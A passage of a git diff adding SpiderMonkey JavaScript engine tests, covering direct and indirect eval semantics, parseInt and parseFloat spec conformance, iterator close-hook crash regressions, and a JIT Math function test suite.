+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var t = "global";
+function test()
+{
+ var t = "local";
+ with ({})
+ return eval("t");
+}
+assertEq(test(), "local");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/eval-native-callback-is-indirect.js b/js/src/tests/non262/global/eval-native-callback-is-indirect.js
new file mode 100644
index 0000000000..bfc4a3489d
--- /dev/null
+++ b/js/src/tests/non262/global/eval-native-callback-is-indirect.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 604504;
+var summary = "eval called from a native function is indirect";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var originalEval = eval;
+
+var global = this;
+var directCheckCode = "this === global";
+
+function testBound()
+{
+ var global = "psych!";
+ var eval = originalEval.bind(undefined, directCheckCode);
+ assertEq(eval(), true);
+}
+testBound();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/globalThis-enumeration.js b/js/src/tests/non262/global/globalThis-enumeration.js
new file mode 100644
index 0000000000..ecd5029473
--- /dev/null
+++ b/js/src/tests/non262/global/globalThis-enumeration.js
@@ -0,0 +1,5 @@
+assertEq(Object.getOwnPropertyNames(this).includes('globalThis'), true);
+
+if (typeof reportCompare === "function") {
+ reportCompare(0, 0);
+}
diff --git a/js/src/tests/non262/global/parenthesized-eval-is-direct.js b/js/src/tests/non262/global/parenthesized-eval-is-direct.js
new file mode 100644
index 0000000000..4154128658
--- /dev/null
+++ b/js/src/tests/non262/global/parenthesized-eval-is-direct.js
@@ -0,0 +1,68 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+print("(eval)(...) is a direct eval, (1, eval)() isn't, etc.");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/*
+ * Justification:
+ *
+ * https://mail.mozilla.org/pipermail/es5-discuss/2010-October/003724.html
+ *
+ * Note also bug 537673.
+ */
+
+var t = "global";
+
+function group()
+{
+ var t = "local";
+ return (eval)("t");
+}
+assertEq(group(), "local");
+
+function groupAndComma()
+{
+ var t = "local";
+ return (1, eval)("t");
+}
+assertEq(groupAndComma(), "global");
+
+function groupAndTrueTernary()
+{
+ var t = "local";
+ return (true ? eval : null)("t");
+}
+assertEq(groupAndTrueTernary(), "global");
+
+function groupAndEmptyStringTernary()
+{
+ var t = "local";
+ return ("" ? null : eval)("t");
+}
+assertEq(groupAndEmptyStringTernary(), "global");
+
+function groupAndZeroTernary()
+{
+ var t = "local";
+ return (0 ? null : eval)("t");
+}
+assertEq(groupAndZeroTernary(), "global");
+
+function groupAndNaNTernary()
+{
+ var t = "local";
+ return (0 / 0 ? null : eval)("t");
+}
+assertEq(groupAndNaNTernary(), "global");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/parseFloat-01.js b/js/src/tests/non262/global/parseFloat-01.js
new file mode 100644
index 0000000000..089c0901ec
--- /dev/null
+++ b/js/src/tests/non262/global/parseFloat-01.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 613492;
+var summary = "ES5 15.1.2.3 parseFloat(string)";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(parseFloat("Infinity"), Infinity);
+assertEq(parseFloat("+Infinity"), Infinity);
+assertEq(parseFloat("-Infinity"), -Infinity);
+
+assertEq(parseFloat("inf"), NaN);
+assertEq(parseFloat("Inf"), NaN);
+assertEq(parseFloat("infinity"), NaN);
+
+assertEq(parseFloat("nan"), NaN);
+assertEq(parseFloat("NaN"), NaN);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/parseInt-01.js b/js/src/tests/non262/global/parseInt-01.js
new file mode 100644
index 0000000000..0417086697
--- /dev/null
+++ b/js/src/tests/non262/global/parseInt-01.js
@@ -0,0 +1,170 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 577536;
+var summary = "ES5 15.1.2.2 parseInt(string, radix)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var str, radix;
+var upvar;
+
+/* 1. Let inputString be ToString(string). */
+
+assertEq(parseInt({ toString: function() { return "17" } }, 10), 17);
+
+upvar = 0;
+str = { get toString() { upvar++; return function() { upvar++; return "12345"; } } };
+assertEq(parseInt(str, 10), 12345);
+assertEq(upvar, 2);
+
+
+/*
+ * 2. Let S be a newly created substring of inputString consisting of the first
+ * character that is not a StrWhiteSpaceChar and all characters following
+ * that character. (In other words, remove leading white space.)
+ */
+
+var ws =
+ ["\t", "\v", "\f", " ", "\xA0", "\uFEFF",
+ "\u2004", "\u3000", // a few Unicode whitespaces
+ "\r", "\n", "\u2028", "\u2029"];
+
+str = "8675309";
+for (var i = 0, sz = ws.length; i < sz; i++)
+{
+ assertEq(parseInt(ws[i] + str, 10), 8675309);
+ for (var j = 0, sz = ws.length; j < sz; j++)
+ {
+ assertEq(parseInt(ws[i] + ws[j] + str, 10), 8675309,
+ ws[i].charCodeAt(0).toString(16) + ", " +
+ ws[j].charCodeAt(0).toString(16));
+ }
+}
+
+
+/*
+ * 3. Let sign be 1.
+ * 4. If S is not empty and the first character of S is a minus sign -, let
+ * sign be −1.
+ */
+str = "5552368";
+assertEq(parseInt("-" + str, 10), -parseInt(str, 10));
+assertEq(parseInt(" -" + str, 10), -parseInt(str, 10));
+assertEq(parseInt("-", 10), NaN);
+assertEq(parseInt("", 10), NaN);
+assertEq(parseInt("-0", 10), -0);
+
+
+/*
+ * 5. If S is not empty and the first character of S is a plus sign + or a
+ * minus sign -, then remove the first character from S.
+ */
+assertEq(parseInt("+12345", 10), 12345);
+assertEq(parseInt(" +12345", 10), 12345);
+assertEq(parseInt("-12345", 10), -12345);
+assertEq(parseInt(" -12345", 10), -12345);
+
+
+/*
+ * 6. Let R = ToInt32(radix).
+ */
+
+upvar = "";
+str =
+ { toString: function() { if (!upvar) upvar = "string"; return "42"; } };
+radix =
+ { toString: function() { if (!upvar) upvar = "radix"; return "10"; } };
+
+assertEq(parseInt(str, radix), 42);
+assertEq(upvar, "string");
+
+assertEq(parseInt("123", null), 123);
+assertEq(parseInt("123", undefined), 123);
+assertEq(parseInt("123", NaN), 123);
+assertEq(parseInt("123", -0), 123);
+assertEq(parseInt("10", 72057594037927950), 16);
+assertEq(parseInt("10", -4294967292), 4);
+assertEq(parseInt("0x10", 1e308), 16);
+assertEq(parseInt("10", 1e308), 10);
+assertEq(parseInt("10", { valueOf: function() { return 16; } }), 16);
+
+
+/*
+ * 7. Let stripPrefix be true.
+ * 8. If R ≠ 0, then
+ * a. If R < 2 or R > 36, then return NaN.
+ * b. If R ≠ 16, let stripPrefix be false.
+ * 9. Else, R = 0
+ * a. Let R = 10.
+ * 10. If stripPrefix is true, then
+ * a. If the length of S is at least 2 and the first two characters of S
+ * are either “0x” or “0X”, then remove the first two characters from S and
+ * let R = 16.
+ */
+var vs = ["1", "51", "917", "2343", "99963"];
+for (var i = 0, sz = vs.length; i < sz; i++)
+ assertEq(parseInt(vs[i], 0), parseInt(vs[i], 10), "bad " + vs[i]);
+
+assertEq(parseInt("0x10"), 16);
+assertEq(parseInt("0x10", 0), 16);
+assertEq(parseInt("0x10", 16), 16);
+assertEq(parseInt("0x10", 8), 0);
+assertEq(parseInt("-0x10", 16), -16);
+
+assertEq(parseInt("5", 1), NaN);
+assertEq(parseInt("5", 37), NaN);
+assertEq(parseInt("5", { valueOf: function() { return -1; } }), NaN);
+
+
+/*
+ * 11. If S contains any character that is not a radix-R digit, then let Z be
+ * the substring of S consisting of all characters before the first such
+ * character; otherwise, let Z be S.
+ * 12. If Z is empty, return NaN.
+ */
+assertEq(parseInt(""), NaN);
+assertEq(parseInt("ohai"), NaN);
+assertEq(parseInt("0xohai"), NaN);
+assertEq(parseInt("-ohai"), NaN);
+assertEq(parseInt("+ohai"), NaN);
+assertEq(parseInt(" ohai"), NaN);
+
+assertEq(parseInt("0xaohai"), 10);
+assertEq(parseInt("hohai", 18), 17);
+
+
+/*
+ * 13. Let mathInt be the mathematical integer value that is represented by Z
+ * in radix-R notation, using the letters A-Z and a-z for digits with
+ * values 10 through 35. (However, if R is 10 and Z contains more than 20
+ * significant digits, every significant digit after the 20th may be
+ * replaced by a 0 digit, at the option of the implementation; and if R is
+ * not 2, 4, 8, 10, 16, or 32, then mathInt may be an implementation-
+ * dependent approximation to the mathematical integer value that is
+ * represented by Z in radix-R notation.)
+ * 14. Let number be the Number value for mathInt.
+ * 15. Return sign × number.
+ */
+assertEq(parseInt("ohai", 36), 1142154);
+assertEq(parseInt("0ohai", 36), 1142154);
+assertEq(parseInt("00ohai", 36), 1142154);
+assertEq(parseInt("A", 16), 10);
+assertEq(parseInt("0A", 16), 10);
+assertEq(parseInt("00A", 16), 10);
+assertEq(parseInt("A", 17), 10);
+assertEq(parseInt("0A", 17), 10);
+assertEq(parseInt("00A", 17), 10);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/parseInt-default-to-decimal.js b/js/src/tests/non262/global/parseInt-default-to-decimal.js
new file mode 100644
index 0000000000..b2e1378a4f
--- /dev/null
+++ b/js/src/tests/non262/global/parseInt-default-to-decimal.js
@@ -0,0 +1,31 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 583925;
+var summary =
+ "parseInt should treat leading-zero inputs (with radix unspecified) as " +
+ "decimal, not octal (this changed in bug 786135)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(parseInt("08"), 8);
+assertEq(parseInt("09"), 9);
+assertEq(parseInt("014"), 14);
+
+function strictParseInt(s) { "use strict"; return parseInt(s); }
+
+assertEq(strictParseInt("08"), 8);
+assertEq(strictParseInt("09"), 9);
+assertEq(strictParseInt("014"), 14);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/shell.js b/js/src/tests/non262/global/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/global/shell.js
diff --git a/js/src/tests/non262/iterable/browser.js b/js/src/tests/non262/iterable/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/iterable/browser.js
diff --git a/js/src/tests/non262/iterable/regress-340526-01.js b/js/src/tests/non262/iterable/regress-340526-01.js
new file mode 100644
index 0000000000..e3e1892784
--- /dev/null
+++ b/js/src/tests/non262/iterable/regress-340526-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 340526;
+var summary = 'Iterators: cross-referenced objects with close handler can ' +
+ 'delay close handler execution';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ var iter = Iterator({});
+ iter.foo = "bar";
+ for (var i in iter)
+ ;
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/iterable/regress-341815.js b/js/src/tests/non262/iterable/regress-341815.js
new file mode 100644
index 0000000000..cd5d9c2b12
--- /dev/null
+++ b/js/src/tests/non262/iterable/regress-341815.js
@@ -0,0 +1,83 @@
+// |reftest| skip -- bug xxx - fails to dismiss alert
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341815;
+var summary = 'Close hook crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var ialert = 0;
+//-----------------------------------------------------------------------------
+//test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var globalToPokeGC = {};
+
+ function make_iterator()
+ {
+ function* generator() {
+ try {
+ yield 0;
+ } finally {
+ make_iterator();
+ }
+ }
+ generator().next();
+ globalToPokeGC = {};
+ if (typeof alert != 'undefined')
+ {
+ alert(++ialert);
+ }
+ }
+
+ make_iterator();
+
+ for (var i = 0; i != 50000; ++i) {
+ var x = {};
+ }
+
+ print('done');
+
+ setTimeout('checkTest()', 10000);
+}
+
+function init()
+{
+ // give the dialog closer time to register
+ setTimeout('test()', 5000);
+}
+
+var lastialert = 0;
+
+function checkTest()
+{
+ // this function is used to check if there
+ // additional alerts are still being fired
+ // in order to prevent the test from completing
+ // until all alerts have finished.
+
+ if (ialert != lastialert)
+ {
+ lastialert = ialert;
+ setTimeout('checkTest()', 10000);
+ return;
+ }
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+window.addEventListener("load", init, false);
diff --git a/js/src/tests/non262/iterable/regress-341821.js b/js/src/tests/non262/iterable/regress-341821.js
new file mode 100644
index 0000000000..2aef6d9756
--- /dev/null
+++ b/js/src/tests/non262/iterable/regress-341821.js
@@ -0,0 +1,72 @@
+// |reftest| skip -- bug xxx - fails to dismiss alert
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341821;
+var summary = 'Close hook crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var ialert = 0;
+
+//-----------------------------------------------------------------------------
+//test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function* generator()
+ {
+ try {
+ yield [];
+ } finally {
+ make_iterator();
+ }
+ }
+
+ function make_iterator()
+ {
+ var iter = generator();
+ iter.next();
+ iter = null;
+ if (typeof alert != 'undefined')
+ {
+ alert(++ialert);
+ }
+ }
+
+ make_iterator();
+
+ // Trigger GC through the branch callback.
+ for (var i = 0; i != 50000; ++i) {
+ var x = {};
+ }
+
+ print('done');
+ reportCompare(expect, actual, summary);
+}
+
+function init()
+{
+ // give the dialog closer time to register
+ setTimeout('runtest()', 5000);
+}
+
+function runtest()
+{
+ test();
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+window.addEventListener("load", init, false);
diff --git a/js/src/tests/non262/iterable/regress-415922.js b/js/src/tests/non262/iterable/regress-415922.js
new file mode 100644
index 0000000000..cbbbcab465
--- /dev/null
+++ b/js/src/tests/non262/iterable/regress-415922.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 415922;
+var summary = 'Support exception from withing JSNewEnumerateOp on JSENUMERATE_NEXT';
+var actual = 'No Error';
+var expect = 'Error: its enumeration failed';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f() { for (k in it) return k }
+
+ if (typeof it == 'undefined')
+ {
+ print(expect = actual = 'it not defined, test skipped');
+ }
+ else
+ {
+ try
+ {
+ it.enum_fail = true;
+ var r = f();
+ actual = 'No exception r: ' + r.toString();
+ }
+ catch (e)
+ {
+ actual = e + '';
+ }
+ finally
+ {
+ it.enum_fail = false;
+ }
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/iterable/shell.js b/js/src/tests/non262/iterable/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/iterable/shell.js
diff --git a/js/src/tests/non262/jit/browser.js b/js/src/tests/non262/jit/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/jit/browser.js
diff --git a/js/src/tests/non262/jit/math-jit-tests.js b/js/src/tests/non262/jit/math-jit-tests.js
new file mode 100644
index 0000000000..0cd63f3ec4
--- /dev/null
+++ b/js/src/tests/non262/jit/math-jit-tests.js
@@ -0,0 +1,535 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 'none';
+var summary = 'trace-capability math mini-testsuite';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// The loop count at which we trace
+const RECORDLOOP = 8;
+// The loop count at which we run the trace
+const RUNLOOP = RECORDLOOP + 1;
+
+var testName = null;
+if ("arguments" in this && arguments.length > 0)
+ testName = arguments[0];
+
+function test(f)
+{
+ if (!testName || testName == f.testname) {
+ check(f.testname, f(), f.expected);
+ }
+}
+
+function check(desc, actual, expected)
+{
+ // Distinguish 0 and -0.
+ if (actual === 0 && expected === 0) {
+ actual = (1 / actual > 0) ? "+0" : "-0";
+ expected = (1 / expected > 0) ? "+0" : "-0";
+ }
+
+ reportCompare(expected, actual, desc);
+}
+
+/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+// Apply FUNCNAME to ARGS, and check against EXPECTED.
+// Expect a loop containing such a call to be traced.
+// FUNCNAME and ARGS are both strings.
+// ARGS has the form of an argument list: a comma-separated list of expressions.
+// Passing ARGS as a string allows us to assign better test names:
+// expressions like Math.PI/4 haven't been evaluated to big hairy numbers.
+function testmath(funcname, args, expected) {
+ var i, j;
+
+ var arg_value_list = eval("[" + args + "]");
+ var arity = arg_value_list.length;
+
+ // Build the string "a[i][0],...,a[i][ARITY-1]".
+ var actuals = []
+ for (i = 0; i < arity; i++)
+ actuals.push("a[i][" + i + "]");
+ actuals = actuals.join(",");
+
+ // Create a function that maps FUNCNAME across an array of input values.
+ // Unless we eval here, the call to funcname won't get traced.
+ // FUNCNAME="Infinity/Math.abs" and cases like that happen to
+ // parse, too, in a twisted way.
+ var mapfunc = eval("(function(a) {\n"
+ + " for (var i = 0; i < a.length; i++)\n"
+ + " a[i] = " + funcname + "(" + actuals +");\n"
+ + " })\n");
+
+ // To prevent the compiler from doing constant folding, produce an
+ // array to pass to mapfunc that contains enough dummy
+ // values at the front to get the loop body jitted, and then our
+ // actual test value.
+ var dummies_and_input = [];
+ for (i = 0; i < RUNLOOP; i++) {
+ var dummy_list = [];
+ for (j = 0; j < arity; j++)
+ dummy_list[j] = .0078125 * ((i + j) % 128);
+ dummies_and_input[i] = dummy_list;
+ }
+ dummies_and_input[RUNLOOP] = arg_value_list;
+
+ function testfunc() {
+ // Map the function across the dummy values and the test input.
+ mapfunc(dummies_and_input);
+ return dummies_and_input[RUNLOOP];
+ }
+ testfunc.testname = funcname + "(" + args + ")";
+ testfunc.expected = expected;
+
+ test(testfunc);
+}
+
+testmath("Math.abs", "void 0", Number.NaN)
+testmath("Math.abs", "null", 0)
+testmath("Math.abs", "true", 1)
+testmath("Math.abs", "false", 0)
+testmath("Math.abs", "\"a string primitive\"", Number.NaN)
+testmath("Math.abs", "new String( 'a String object' )", Number.NaN)
+testmath("Math.abs", "Number.NaN", Number.NaN)
+testmath("Math.abs", "0", 0)
+testmath("Math.abs", "-0", 0)
+testmath("Infinity/Math.abs", "-0", Infinity)
+testmath("Math.abs", "Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.abs", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.abs", "- Number.MAX_VALUE", Number.MAX_VALUE)
+testmath("Math.abs", "-Number.MIN_VALUE", Number.MIN_VALUE)
+testmath("Math.abs", "Number.MAX_VALUE", Number.MAX_VALUE)
+testmath("Math.abs", "Number.MIN_VALUE", Number.MIN_VALUE)
+testmath("Math.abs", "-1", 1)
+testmath("Math.abs", "new Number(-1)", 1)
+testmath("Math.abs", "1", 1)
+testmath("Math.abs", "Math.PI", Math.PI)
+testmath("Math.abs", "-Math.PI", Math.PI)
+testmath("Math.abs", "-1/100000000", 1/100000000)
+testmath("Math.abs", "-Math.pow(2,32)", Math.pow(2,32))
+testmath("Math.abs", "Math.pow(2,32)", Math.pow(2,32))
+testmath("Math.abs", "-0xfff", 4095)
+testmath("Math.abs", "-0777", 511)
+testmath("Math.abs", "'-1e-1'", 0.1)
+testmath("Math.abs", "'0xff'", 255)
+testmath("Math.abs", "'077'", 77)
+testmath("Math.abs", "'Infinity'", Infinity)
+testmath("Math.abs", "'-Infinity'", Infinity)
+
+testmath("Math.acos", "void 0", Number.NaN)
+testmath("Math.acos", "null", Math.PI/2)
+testmath("Math.acos", "Number.NaN", Number.NaN)
+testmath("Math.acos", "\"a string\"", Number.NaN)
+testmath("Math.acos", "'0'", Math.PI/2)
+testmath("Math.acos", "'1'", 0)
+testmath("Math.acos", "'-1'", Math.PI)
+testmath("Math.acos", "1.00000001", Number.NaN)
+testmath("Math.acos", "-1.00000001", Number.NaN)
+testmath("Math.acos", "1", 0)
+testmath("Math.acos", "-1", Math.PI)
+testmath("Math.acos", "0", Math.PI/2)
+testmath("Math.acos", "-0", Math.PI/2)
+testmath("Math.acos", "Math.SQRT1_2", Math.PI/4)
+testmath("Math.acos", "-Math.SQRT1_2", Math.PI/4*3)
+testmath("Math.acos", "0.9999619230642", Math.PI/360)
+testmath("Math.acos", "-3.0", Number.NaN)
+
+testmath("Math.asin", "void 0", Number.NaN)
+testmath("Math.asin", "null", 0)
+testmath("Math.asin", "Number.NaN", Number.NaN)
+testmath("Math.asin", "\"string\"", Number.NaN)
+testmath("Math.asin", "\"0\"", 0)
+testmath("Math.asin", "\"1\"", Math.PI/2)
+testmath("Math.asin", "\"-1\"", -Math.PI/2)
+testmath("Math.asin", "Math.SQRT1_2+''", Math.PI/4)
+testmath("Math.asin", "-Math.SQRT1_2+''", -Math.PI/4)
+testmath("Math.asin", "1.000001", Number.NaN)
+testmath("Math.asin", "-1.000001", Number.NaN)
+testmath("Math.asin", "0", 0)
+testmath("Math.asin", "-0", -0)
+testmath("Infinity/Math.asin", "-0", -Infinity)
+testmath("Math.asin", "1", Math.PI/2)
+testmath("Math.asin", "-1", -Math.PI/2)
+testmath("Math.asin", "Math.SQRT1_2", Math.PI/4)
+testmath("Math.asin", "-Math.SQRT1_2", -Math.PI/4)
+
+testmath("Math.atan", "void 0", Number.NaN)
+testmath("Math.atan", "null", 0)
+testmath("Math.atan", "Number.NaN", Number.NaN)
+testmath("Math.atan", "\"a string\"", Number.NaN)
+testmath("Math.atan", "'0'", 0)
+testmath("Math.atan", "'1'", Math.PI/4)
+testmath("Math.atan", "'-1'", -Math.PI/4)
+testmath("Math.atan", "'Infinity'", Math.PI/2)
+testmath("Math.atan", "'-Infinity'", -Math.PI/2)
+testmath("Math.atan", "0", 0)
+testmath("Math.atan", "-0", -0)
+testmath("Infinity/Math.atan", "-0", -Infinity)
+testmath("Math.atan", "Number.POSITIVE_INFINITY", Math.PI/2)
+testmath("Math.atan", "Number.NEGATIVE_INFINITY", -Math.PI/2)
+testmath("Math.atan", "1", Math.PI/4)
+testmath("Math.atan", "-1", -Math.PI/4)
+
+testmath("Math.atan2", "Number.NaN,0", Number.NaN)
+testmath("Math.atan2", "null, null", 0)
+testmath("Math.atan2", "void 0, void 0", Number.NaN)
+testmath("Math.atan2", "0,Number.NaN", Number.NaN)
+testmath("Math.atan2", "1,0", Math.PI/2)
+testmath("Math.atan2", "1,-0", Math.PI/2)
+testmath("Math.atan2", "0,0.001", 0)
+testmath("Math.atan2", "0,0", 0)
+testmath("Math.atan2", "0,-0", Math.PI)
+testmath("Math.atan2", "0, -1", Math.PI)
+testmath("Math.atan2", "-0, 1", -0)
+testmath("Infinity/Math.atan2", "-0,1", -Infinity)
+testmath("Math.atan2", "-0,0", -0)
+testmath("Math.atan2", "-0, -0", -Math.PI)
+testmath("Math.atan2", "-0, -1", -Math.PI)
+testmath("Math.atan2", "-1, 0", -Math.PI/2)
+testmath("Math.atan2", "-1, -0", -Math.PI/2)
+testmath("Math.atan2", "1, Number.POSITIVE_INFINITY", 0)
+testmath("Math.atan2", "1, Number.NEGATIVE_INFINITY", Math.PI)
+testmath("Math.atan2", "-1,Number.POSITIVE_INFINITY", -0)
+testmath("Infinity/Math.atan2", "-1,Infinity", -Infinity)
+testmath("Math.atan2", "-1,Number.NEGATIVE_INFINITY", -Math.PI)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY, 0", Math.PI/2)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY, 1", Math.PI/2)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY,-1", Math.PI/2)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY,-0", Math.PI/2)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY, 0", -Math.PI/2)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY,-0", -Math.PI/2)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY, 1", -Math.PI/2)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY,-1", -Math.PI/2)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY", Math.PI/4)
+testmath("Math.atan2", "Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY", 3*Math.PI/4)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY", -Math.PI/4)
+testmath("Math.atan2", "Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY", -3*Math.PI/4)
+testmath("Math.atan2", "-1, 1", -Math.PI/4)
+
+testmath("Math.ceil", "Number.NaN", Number.NaN)
+testmath("Math.ceil", "null", 0)
+testmath("Math.ceil", "void 0", Number.NaN)
+testmath("Math.ceil", "'0'", 0)
+testmath("Math.ceil", "'-0'", -0)
+testmath("Infinity/Math.ceil", "'0'", Infinity)
+testmath("Infinity/Math.ceil", "'-0'", -Infinity)
+testmath("Math.ceil", "0", 0)
+testmath("Math.ceil", "-0", -0)
+testmath("Infinity/Math.ceil", "0", Infinity)
+testmath("Infinity/Math.ceil", "-0", -Infinity)
+testmath("Math.ceil", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.ceil", "Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY)
+testmath("Math.ceil", "-Number.MIN_VALUE", -0)
+testmath("Infinity/Math.ceil", "-Number.MIN_VALUE", -Infinity)
+testmath("Math.ceil", "1", 1)
+testmath("Math.ceil", "-1", -1)
+testmath("Math.ceil", "-0.9", -0)
+testmath("Infinity/Math.ceil", "-0.9", -Infinity)
+testmath("Math.ceil", "0.9", 1)
+testmath("Math.ceil", "-1.1", -1)
+testmath("Math.ceil", "1.1", 2)
+testmath("Math.ceil", "Number.POSITIVE_INFINITY", -Math.floor(-Infinity))
+testmath("Math.ceil", "Number.NEGATIVE_INFINITY", -Math.floor(Infinity))
+testmath("Math.ceil", "-Number.MIN_VALUE", -Math.floor(Number.MIN_VALUE))
+testmath("Math.ceil", "1", -Math.floor(-1))
+testmath("Math.ceil", "-1", -Math.floor(1))
+testmath("Math.ceil", "-0.9", -Math.floor(0.9))
+testmath("Math.ceil", "0.9", -Math.floor(-0.9))
+testmath("Math.ceil", "-1.1", -Math.floor(1.1))
+testmath("Math.ceil", "1.1", -Math.floor(-1.1))
+
+testmath("Math.cos", "void 0", Number.NaN)
+testmath("Math.cos", "false", 1)
+testmath("Math.cos", "null", 1)
+testmath("Math.cos", "'0'", 1)
+testmath("Math.cos", "\"Infinity\"", Number.NaN)
+testmath("Math.cos", "'3.14159265359'", -1)
+testmath("Math.cos", "Number.NaN", Number.NaN)
+testmath("Math.cos", "0", 1)
+testmath("Math.cos", "-0", 1)
+testmath("Math.cos", "Number.POSITIVE_INFINITY", Number.NaN)
+testmath("Math.cos", "Number.NEGATIVE_INFINITY", Number.NaN)
+testmath("Math.cos", "0.7853981633974", 0.7071067811865)
+testmath("Math.cos", "1.570796326795", 0)
+testmath("Math.cos", "2.356194490192", -0.7071067811865)
+testmath("Math.cos", "3.14159265359", -1)
+testmath("Math.cos", "3.926990816987", -0.7071067811865)
+testmath("Math.cos", "4.712388980385", 0)
+testmath("Math.cos", "5.497787143782", 0.7071067811865)
